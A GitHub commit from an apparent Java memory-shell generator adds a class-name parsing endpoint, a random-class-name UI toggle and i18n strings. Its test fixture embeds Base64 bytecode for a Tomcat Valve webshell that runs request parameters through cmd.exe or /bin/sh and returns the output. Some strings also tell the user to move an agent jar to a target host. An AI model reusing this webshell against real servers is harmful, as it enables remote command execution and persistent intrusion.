Skip to content

Commit 3b179c1

Browse files
committed
feat: support parse custom shell className
1 parent 0111d50 commit 3b179c1

File tree

7 files changed

+180
-28
lines changed

7 files changed

+180
-28
lines changed
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.reajason.javaweb.boot.controller;
2+
3+
import org.springframework.asm.ClassReader;
4+
import org.springframework.cglib.core.ClassNameReader;
5+
import org.springframework.web.bind.annotation.CrossOrigin;
6+
import org.springframework.web.bind.annotation.PostMapping;
7+
import org.springframework.web.bind.annotation.RequestBody;
8+
import org.springframework.web.bind.annotation.RestController;
9+
10+
import java.util.Base64;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2025/11/10
15+
*/
16+
@RestController
17+
@CrossOrigin("*")
18+
public class ClassNameParseController {
19+
20+
@PostMapping("/className")
21+
public String className(@RequestBody String classBase64) {
22+
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
23+
}
24+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.boot.controller;
2+
3+
import org.junit.jupiter.api.Test;
4+
5+
import static org.junit.jupiter.api.Assertions.*;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/11/10
10+
*/
11+
class ClassNameParseControllerTest {
12+
@Test
13+
void test(){
14+
ClassNameParseController classNameParseController = new ClassNameParseController();
15+
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
16+
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
17+
}
18+
}

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,10 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
3636
Class<?> shellClass = shellInjectorPair.getLeft();
3737
injectorClass = shellInjectorPair.getRight();
3838
shellToolConfig.setShellClass(shellClass);
39-
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
40-
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
41-
}
39+
}
40+
41+
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
42+
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
4243
}
4344

4445
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
Lines changed: 68 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,42 +1,84 @@
1-
import { ChevronDown, ChevronUp, Settings } from "lucide-react";
2-
import { Fragment, useState } from "react";
1+
import { Shuffle } from "lucide-react";
2+
import { Fragment, useEffect, useState } from "react";
33
import { FormProvider, type UseFormReturn } from "react-hook-form";
44
import { useTranslation } from "react-i18next";
5-
import { Button } from "@/components/ui/button";
65
import {
76
FormField,
87
FormFieldItem,
98
FormFieldLabel,
109
} from "@/components/ui/form.tsx";
1110
import { Input } from "@/components/ui/input.tsx";
11+
import { Switch } from "@/components/ui/switch.tsx";
1212
import type { MemShellFormSchema } from "@/types/schema.ts";
1313

1414
export function OptionalClassFormField({
1515
form,
1616
}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
1717
const { t } = useTranslation(["memshell", "common"]);
18-
const [showAdvanced, setShowAdvanced] = useState(false);
18+
const initialShellClassName = form.getValues("shellClassName") ?? "";
19+
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
20+
const [useRandomClassName, setUseRandomClassName] = useState(
21+
() =>
22+
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
23+
);
24+
const [savedShellClassName, setSavedShellClassName] = useState(
25+
initialShellClassName,
26+
);
27+
const [savedInjectorClassName, setSavedInjectorClassName] = useState(
28+
initialInjectorClassName,
29+
);
30+
const shellClassName = form.watch("shellClassName");
31+
const injectorClassName = form.watch("injectorClassName");
32+
33+
useEffect(() => {
34+
if (!useRandomClassName) {
35+
setSavedShellClassName(shellClassName ?? "");
36+
}
37+
}, [shellClassName, useRandomClassName]);
38+
39+
useEffect(() => {
40+
if (!useRandomClassName) {
41+
setSavedInjectorClassName(injectorClassName ?? "");
42+
}
43+
}, [injectorClassName, useRandomClassName]);
44+
45+
useEffect(() => {
46+
if (
47+
useRandomClassName &&
48+
(shellClassName?.trim() || injectorClassName?.trim())
49+
) {
50+
setUseRandomClassName(false);
51+
}
52+
}, [injectorClassName, shellClassName, useRandomClassName]);
53+
54+
const handleToggleRandomClass = (checked: boolean) => {
55+
setUseRandomClassName(checked);
56+
if (checked) {
57+
setSavedShellClassName(form.getValues("shellClassName") ?? "");
58+
setSavedInjectorClassName(form.getValues("injectorClassName") ?? "");
59+
form.setValue("shellClassName", "");
60+
form.setValue("injectorClassName", "");
61+
} else {
62+
form.setValue("shellClassName", savedShellClassName ?? "");
63+
form.setValue("injectorClassName", savedInjectorClassName ?? "");
64+
}
65+
};
66+
1967
return (
2068
<Fragment>
21-
<div className="pt-2">
22-
<Button
23-
type="button"
24-
variant="outline"
25-
size="sm"
26-
onClick={() => setShowAdvanced(!showAdvanced)}
27-
className="flex items-center gap-2"
28-
>
29-
<Settings className="h-4 w-4" />
30-
{t("classNameOptions")}
31-
{showAdvanced ? (
32-
<ChevronUp className="h-4 w-4" />
33-
) : (
34-
<ChevronDown className="h-4 w-4" />
35-
)}
36-
</Button>
69+
<div className="pt-2 flex items-center justify-between gap-3">
70+
<div className="flex items-center gap-2 text-sm">
71+
<Shuffle className="h-4 w-4" />
72+
<span>{t("mainConfig.randomClassName")}</span>
73+
</div>
74+
<Switch
75+
id="randomClassName"
76+
checked={useRandomClassName}
77+
onCheckedChange={handleToggleRandomClass}
78+
/>
3779
</div>
38-
{showAdvanced && (
39-
<FormProvider {...form}>
80+
<FormProvider {...form}>
81+
{!useRandomClassName && (
4082
<FormField
4183
control={form.control}
4284
name="shellClassName"
@@ -53,6 +95,8 @@ export function OptionalClassFormField({
5395
</FormFieldItem>
5496
)}
5597
/>
98+
)}
99+
{!useRandomClassName && (
56100
<FormField
57101
control={form.control}
58102
name="injectorClassName"
@@ -69,8 +113,8 @@ export function OptionalClassFormField({
69113
</FormFieldItem>
70114
)}
71115
/>
72-
</FormProvider>
73-
)}
116+
)}
117+
</FormProvider>
74118
</Fragment>
75119
);
76120
}

web/src/components/memshell/tabs/custom-tab.tsx

Lines changed: 62 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
1-
import { useState } from "react";
1+
import { useEffect, useRef, useState } from "react";
22
import { FormProvider, type UseFormReturn } from "react-hook-form";
33
import { useTranslation } from "react-i18next";
4+
import { toast } from "sonner";
45
import { Card, CardContent } from "@/components/ui/card";
56
import {
67
FormControl,
@@ -14,6 +15,7 @@ import { Label } from "@/components/ui/label";
1415
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
1516
import { TabsContent } from "@/components/ui/tabs";
1617
import { Textarea } from "@/components/ui/textarea";
18+
import { env } from "@/config.ts";
1719
import type { MemShellFormSchema } from "@/types/schema";
1820
import { OptionalClassFormField } from "./classname-field";
1921
import { ShellTypeFormField } from "./shelltype-field";
@@ -28,6 +30,65 @@ export default function CustomTabContent({
2830
}>) {
2931
const [isFile, setIsFile] = useState(false);
3032
const { t } = useTranslation(["memshell", "common"]);
33+
const shellClassBase64 = form.watch("shellClassBase64");
34+
const lastParsedBase64Ref = useRef<string | undefined>(undefined);
35+
const classNameEndpoint = `${env.API_URL}/className`;
36+
37+
useEffect(() => {
38+
if (!shellClassBase64) {
39+
lastParsedBase64Ref.current = undefined as string | undefined;
40+
return;
41+
}
42+
43+
if (shellClassBase64 === lastParsedBase64Ref.current) {
44+
return;
45+
}
46+
47+
const controller = new AbortController();
48+
const timer = setTimeout(() => {
49+
const parseClassName = async () => {
50+
try {
51+
const response = await fetch(classNameEndpoint, {
52+
method: "POST",
53+
headers: {
54+
"Content-Type": "text/plain",
55+
},
56+
body: shellClassBase64,
57+
signal: controller.signal,
58+
});
59+
60+
if (!response.ok) {
61+
throw new Error(response.statusText);
62+
}
63+
64+
const className = await response.text();
65+
66+
if (!className) {
67+
throw new Error("EMPTY_CLASS_NAME");
68+
}
69+
70+
lastParsedBase64Ref.current = shellClassBase64;
71+
form.setValue("shellClassName", className, {
72+
shouldDirty: true,
73+
});
74+
} catch (error) {
75+
if ((error as Error)?.name === "AbortError") {
76+
return;
77+
}
78+
79+
toast.error(t("memshell:tips.classNameParseFailed"));
80+
}
81+
};
82+
83+
void parseClassName();
84+
}, 400);
85+
86+
return () => {
87+
clearTimeout(timer);
88+
controller.abort();
89+
};
90+
}, [classNameEndpoint, form, shellClassBase64, t]);
91+
3192
return (
3293
<FormProvider {...form}>
3394
<TabsContent value="Custom">

web/src/i18n/memshell/en.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
"classNameOptions": "ClassNameOptions",
77
"injectorClass": "InjectorClass",
88
"mainConfig.injectorClassName": "Injector ClassName",
9+
"mainConfig.randomClassName": "Random Class Name",
910
"mainConfig.shellClassName": "Shell ClassName",
1011
"mainConfig.shellMountType": "Shell Mount Type",
1112
"mainConfig.shellTool": "ShellTool",
@@ -36,6 +37,7 @@
3637
"shellToolConfig.neoreGeorgHeader": "Custom Header",
3738
"shellToolConfig.neoreGeorgKey": "Connection Key",
3839
"shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header",
40+
"tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data",
3941
"tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host",
4042
"tips.agent-move-to-target1": "Move MemShellAgent.jar to target host",
4143
"tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",

web/src/i18n/memshell/zh-CN.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
"shellClass": "内存马",
88
"classNameOptions": "类名配置项",
99
"mainConfig.injectorClassName": "注入器类名",
10+
"mainConfig.randomClassName": "随机类名",
1011
"mainConfig.shellClassName": "内存马类名",
1112
"mainConfig.shellMountType": "内存马挂载类型",
1213
"mainConfig.shellTool": "内存马功能",
@@ -37,6 +38,7 @@
3738
"shellToolConfig.neoreGeorgKey": "连接密钥",
3839
"shellToolConfig.suo5Header": "高级配置 -> 请求头",
3940
"tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上",
41+
"tips.classNameParseFailed": "无法解析类名,请检查 Base64 内容",
4042
"tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上",
4143
"tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller",
4244
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",

0 commit comments

Comments
 (0)